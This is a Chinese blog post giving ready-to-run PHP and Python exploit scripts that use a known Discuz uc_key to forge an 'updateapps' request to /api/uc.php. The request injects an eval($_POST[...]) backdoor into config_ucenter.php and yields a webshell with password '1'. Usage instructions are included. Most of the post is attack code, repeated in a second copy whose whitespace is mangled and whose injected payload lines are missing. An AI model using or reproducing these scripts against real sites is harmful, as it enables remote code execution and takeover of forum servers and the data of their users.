Discuz X1.5 X2.5 X3 用uc_key getshell

发表于 2014年02月17日
周边

目录表

一、Discuz X1.5 X2.5 X3用uc_key来get webshell

uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetshell只能获取UCenter Client的webshell，即Discuiz！论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的（不过可以通过uc_key来将服务器上的数据并重置用户口令）。

漏洞很早就有了（大牛发的7.0-7.2那个不明原作者是谁所以版本归原作者所有！）

提供两个版本

PHP版本URL和KEY内置，代码如下：：

<?php
// 代码版权归原作者所有！
    $timestamp = time()+10*3600;
    $host="127.0.0.1";
    $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>
</root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="UC_API">http://aaa</item>
</root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

	//var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

<?php

// 代码版权归原作者所有！

$timestamp = time()+10*3600;

$host="127.0.0.1";

$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";

$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

</root>';

$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

</root>';

$html1 = send($cmd1);

echo $html1;

$html2 = send($cmd2);

echo $html2;

function send($cmd){

global $host,$code;

$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: ".$host."\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$message .= "Host: ".$host."\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

//var_dump($message);

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}

python版的，代码如下：

#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
 
def microtime(get_as_float = False) :
    if get_as_float:
        return time.time()
    else:
        return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
    ckey_length = 4
    key = hashlib.md5(key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
    #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
 
    key_length = len(cryptkey)
    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
    string_length = len(string)
    result = ''
    box = range(0, 256)
    rndkey = dict()
    for i in range(0,256):
        rndkey[i] = ord(cryptkey[i % key_length])
    j=0
    for i in range(0,256):
        j = (j + box[i] + rndkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    a=0
    j=0
    for i in range(0,string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
    '''
    发送命令获取webshell
    '''
    headers={'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    tm = time.time()+10*3600
    tm="time=%d&action=updateapps" %tm
    code = urllib.quote(get_authcode(tm,key))
    url=url+"?code="+code
    data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data1,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "访问出错"
    data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
            <root>
            <item id="UC_API">http://aaa</item>
            </root>'''
    try:
        req=urllib2.Request(url,data=data2,headers=headers)
        ret=urllib2.urlopen(req)
    except:
        return "error"
    return "webshell:"+host+"/config/config_ucenter.php,password:1"
 
if __name__ == '__main__':
    host=sys.argv[1]
    key=sys.argv[2]
    url=host+"/api/uc.php"
    print get_shell(url,key,host)

#! /usr/bin/env python

#coding=utf-8

import hashlib

import time

import math

import base64

import urllib

import urllib2

import sys

def microtime(get_as_float = False) :

if get_as_float:

return time.time()

else:

return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

ckey_length = 4

key = hashlib.md5(key).hexdigest()

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]

cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

'''

发送命令获取webshell

'''

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = time.time()+10*3600

tm="time=%d&action=updateapps" %tm

code = urllib.quote(get_authcode(tm,key))

url=url+"?code="+code

data1='''<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

</root>'''

try:

req=urllib2.Request(url,data=data1,headers=headers)

ret=urllib2.urlopen(req)

except:

return "访问出错"

data2='''<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

</root>'''

try:

req=urllib2.Request(url,data=data2,headers=headers)

ret=urllib2.urlopen(req)

except:

return "error"

return "webshell:"+host+"/config/config_ucenter.php,password:1"

if __name__ == '__main__':

host=sys.argv[1]

key=sys.argv[2]

url=host+"/api/uc.php"

print get_shell(url,key,host)

使用方法：

python uckey.py http://www.localhost.com/ uckey

1	python uckey.py http://www.localhost.com/ uckey

即第一个参数是网站的根路径，第二个参数是uc_key。获取的webshell是在/config/config_ucenter.php中的。

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